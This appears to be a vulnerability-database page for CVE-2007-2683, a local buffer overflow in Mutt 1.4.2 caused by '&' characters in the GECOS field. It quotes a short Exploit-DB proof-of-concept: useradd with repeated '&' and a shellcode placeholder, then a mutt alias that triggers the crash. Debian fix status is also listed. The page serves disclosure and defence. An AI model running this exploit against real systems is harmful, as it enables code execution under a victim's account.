CVE-2007-2683
Description
Buffer overflow in Mutt 1.4.2 might allow local users to execute arbitrary code via "&" characters in the GECOS field, which triggers the overflow during alias expansion.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Mutt 1.4.2 - Mutt_Gecos_Name Function Local Buffer Overflow
source: https://www.securityfocus.com/bid/24192/info
Mutt is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.
An attacker can exploit this issue to execute arbitrary code with the with the privileges of the victim. Failed exploit attempts will result in a denial of service.
# USERNAME=$(perl -e 'print "a" x 31')
# useradd -c '&&&&&&&&& your-favourite-ascii-shellcode-here' $USERNAME
# echo alias billg $USERNAME >~/.muttrc
# mutt billg
# Segmentation fault (core dumped) OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.5.15+20070608-1 |
| sid | Fixed | 1.5.15+20070608-1 |
| forky | Fixed | 1.5.15+20070608-1 |
| bullseye | Fixed | 1.5.15+20070608-1 |
| bookworm | Fixed | 1.5.15+20070608-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.